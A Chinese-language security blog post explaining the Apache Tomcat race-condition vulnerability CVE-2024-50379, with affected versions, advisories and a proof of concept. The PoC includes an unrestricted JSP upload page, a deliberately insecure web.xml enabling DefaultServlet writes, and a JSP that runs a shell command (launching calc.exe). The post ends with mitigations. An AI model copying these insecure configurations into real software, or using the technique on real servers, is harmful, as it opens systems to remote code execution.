介绍
在不断发展的网络安全格局中,预防漏洞对于保护敏感系统至关重要。最近,全球使用最广泛的 Web 应用服务器之一 Apache Tomcat 中发现了一个严重的安全漏洞 — CVE-2024–50379 。该漏洞的严重性评分为9.8,具有重大风险,可能允许攻击者执行任意代码并破坏受影响的系统。
本博客深入探讨了 CVE-2024–50379 的技术细节,深入了解了其根本原因、潜在影响以及实际利用场景。为了更好地理解其影响,我们还将介绍概念验证 (POC),以演示攻击者如何在未打补丁的系统中利用此漏洞。
读完本文后,您不仅会彻底了解该漏洞,还会了解如何保护 Tomcat 部署免受这一严重威胁。让我们揭开细节,用知识武装自己,确保安全。
CVE-2024–50379:详细概述
漏洞描述
CVE-2024-50379 是Apache Tomcat 中 JSP 编译期间发生的检查时间使用时间 (TOCTOU) 竞争条件漏洞。此漏洞允许在特定条件下在不区分大小写的文件系统上执行远程代码执行 (RCE) 。
要利用此漏洞,必须启用默认 servlet 的写入功能— 默认情况下未启用此配置。此问题影响以下 Apache Tomcat 版本:
11.0.0-M1 至 11.0.1
10.1.0-M1 至 10.1.33
9.0.0.M1 至 9.0.97
强烈建议升级到修复版本:
11.0.2
10.1.34
9.0.98
严重程度指标
虽然此漏洞正在等待完整的CVSS 4.0 严重性评估,但其被利用的可能性凸显了立即解决该漏洞的重要性。高严重性评分 ( 9.8 ) 凸显了其严重性,尤其是对于设置错误的系统。
主要参考
可以在以下资源中找到更多详细信息,包括建议和缓解措施:
OpenWall 安全公告 — 2024 年 12 月 17 日
http://www.openwall.com/lists/oss-security/2024/12/17/4
OpenWall 安全公告 — 2024 年 12 月 18 日
http://www.openwall.com/lists/oss-security/2024/12/18/2
Apache Tomcat 官方公告
https://lists.apache.org/thread/y6lj6q1xnp822g6ro70tn19sgtjmr80r
概念验证(POC)
为了演示 CVE-2024-50379 的利用,我们创建了一个受控场景,涉及:
将无害的 JSP 文件上传到 Tomcat 服务器。
利用 TOCTOU 竞争条件用恶意 JSP 文件覆盖它。
由于 Windows 的文件系统不区分大小写,因此将file.jsp和FILE.JSP视为同一个文件。因此,当上传新文件时,旧文件将被替换。在 Linux 中,情况并非如此,因为file.jsp和FILE.JSP会被视为两个不同的文件。
免责声明:本演示仅用于教育目的,应在安全、隔离的实验室环境中进行。切勿在生产环境中部署此类不安全的配置。
设置用于文件上传的 JSP 网页
我们创建一个简单的 JSP 网页(upload.jsp),允许将文件上传到 Tomcat 服务器。
<%@ page import="java.io.*, java.util.*" %>
<%@ page import="javax.servlet.http.Part" %>
<!DOCTYPE html>
<html>
<head>
<title>File Upload</title>
</head>
<body>
<h1>Upload a JSP File</h1>
<form action="upload.jsp" method="post" enctype="multipart/form-data">
<label for="file">Choose JSP File:</label>
<input type="file" name="file" id="file" accept=".jsp"><br><br>
<input type="submit" value="Upload File">
</form>
<%
if ("POST".equalsIgnoreCase(request.getMethod())) {
Part filePart = request.getPart("file");
String fileName = filePart.getSubmittedFileName();
String uploadPath = application.getRealPath("/") + "uploads/";
File uploadDir = new File(uploadPath);
if (!uploadDir.exists()) uploadDir.mkdirs();
try (InputStream inputStream = filePart.getInputStream();
FileOutputStream outputStream = new FileOutputStream(uploadPath + fileName)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);
}
out.println("<p>File uploaded successfully to: " + uploadPath + fileName + "</p>");
} catch (Exception e) {
out.println("<p>Error uploading file: " + e.getMessage() + "</p>");
}
}
%>
</body>
</html>
此 JSP 脚本:
接受.jsp文件上传。
将上传的文件保存到uploads/服务器根目录下。
web.xml文件中的更改
要利用 CVE-2024-50379,需要修改 web.xml 文件,使默认 Servlet 能够以写入权限处理上传。此错误配置允许攻击者上传 FILE.JSP 等恶意文件,从而替换现有文件并造成意想不到的后果。
在默认设置中,默认 Servlet 通常不允许写入访问。但是,如果配置了错误的权限,则允许文件被覆盖,从而容易受到 TOCTOU 竞争条件的影响。
<!-- Example web.xml configuration to exploit CVE-2024-50379 -->
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="3.0">
<!-- Default Servlet Configuration -->
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value> <!-- Misconfiguration: Enables write permissions -->
</init-param>
<init-param>
<param-name>fileEncoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/uploads/*</url-pattern>
</servlet-mapping>
<!-- Security Misconfiguration: Allow JSP File Uploads -->
<servlet>
<servlet-name>FileUploadServlet</servlet-name>
<jsp-file>/upload.jsp</jsp-file>
<multipart-config>
<location>/tmp</location> <!-- Temporary upload directory -->
<max-file-size>5242880</max-file-size> <!-- 5 MB -->
<max-request-size>10485760</max-request-size> <!-- 10 MB -->
<file-size-threshold>1024</file-size-threshold> <!-- 1 KB -->
</multipart-config>
</servlet>
<servlet-mapping>
<servlet-name>FileUploadServlet</servlet-name>
<url-pattern>/upload.jsp</url-pattern>
</servlet-mapping>
<!-- Directory Browsing Enabled -->
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
<!-- Application Security Constraints (Optional and misconfigured) -->
<security-constraint>
<web-resource-collection>
<web-resource-name>Unrestricted Uploads</web-resource-name>
<url-pattern>/uploads/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>*</role-name> <!-- No restriction, allowing anonymous access -->
</auth-constraint>
</security-constraint>
</web-app>
PS:只有对web.xml文件配置进行特定更改后,才能利用此漏洞。默认情况下,readonlyTomcat 的DefaultServlet中的参数设置为true,这会阻止写入操作。只有将此参数明确设置为 ,允许对 servlet 进行写入访问,才有可能利用此漏洞false。请始终检查并保护您的服务器配置,以减轻此类风险。
利用竞争条件
上传无害的 JSP 文件
上传一个hello.jsp包含以下内容的简单文件:
<% out.println("Hello, World!"); %>
创建恶意 JSP 文件
准备一个恶意 JSP 文件 ( HELLO.JSP) 来利用此漏洞:
<%@ page import="java.io.*" %>
<!DOCTYPE html>
<html>
<head>
<title>Hello World JSP</title>
</head>
<body>
<h1>Hello, World!</h1>
<%
try {
// Execute the command to open calc.exe
Process process = Runtime.getRuntime().exec("cmd /c start calc.exe");
out.println("<p>Calculator has been opened successfully (if the server is running on Windows).</p>");
} catch (Exception e) {
out.println("<p>Error while opening calculator: " + e.getMessage() + "</p>");
}
%>
</body>
</html>
该文件执行后将打开 Windows 计算器(calc.exe)。
使用脚本用恶意的 HELLO.JSP 覆盖无害的 hello.jsp。
触发漏洞
访问,http://localhost:8080/<your-app>/uploads/hello.jsp从而触发恶意JSP执行。
结果
执行恶意 JSP 文件,并在服务器上打开计算器应用程序(如果在 Windows 上运行)。
这表明 RCE 已成功利用竞争条件。
缓解措施和注意事项
安全文件上传:避免允许 JSP 文件直接上传到应用程序提供的目录。
升级 Apache Tomcat:确保您的 Tomcat 服务器正在运行修补版本(例如 11.0.2、10.1.34 或 9.0.98)。
配置审查:禁用默认 Servlet 的写权限。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里